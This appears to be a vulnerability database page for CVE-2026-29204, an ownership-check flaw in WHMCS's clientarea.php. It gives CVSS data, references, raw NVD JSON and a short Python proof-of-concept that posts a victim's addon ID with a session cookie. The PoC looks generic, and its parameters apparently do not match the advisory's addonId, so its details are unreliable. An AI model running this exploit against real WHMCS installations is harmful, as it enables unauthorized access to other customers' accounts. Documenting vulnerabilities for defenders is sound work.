CVE-2026-29204

Description

Insufficient ownership check in `clientarea.php` allows an authenticated client area user to submit requests using another user’s `addonId` without any ownership validation leading to unauthorized access to the victim's account.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

WHMCS (具体受影响版本未在提供信息中披露)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "https://example.com/clientarea.php"
session_cookie = "whmcs_session_id_here"
victim_addon_id = "12345"  # The addon ID belonging to the victim

# Headers to simulate an authenticated user
headers = {
    "Cookie": f"PHPSESSID={session_cookie}",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}

# Payload data submitting the victim's addonId
payload = {
    "action": "details",
    "id": victim_addon_id, # Vulnerable parameter: Insufficient ownership check
    "submit": "Submit Request"
}

try:
    response = requests.post(target_url, data=payload, headers=headers)
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print(f"[+] Response snippet: {response.text[:200]}...")
    else:
        print(f"[-] Failed to send request. Status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29204
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29204
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29204/
[4] VulDB https://vuldb.com/cve/CVE-2026-29204
[5] https://help.whmcs.com/m/125386/l/2073908-cve-2026-29204

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-29204", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:51.030", "lastModified": "2026-05-13T15:54:09.420", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient ownership check in `clientarea.php` allows an authenticated client area user to submit requests using another user’s `addonId` without any ownership validation leading to unauthorized access to the victim's account."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://help.whmcs.com/m/125386/l/2073908-cve-2026-29204", "source": "[email protected]"}]}}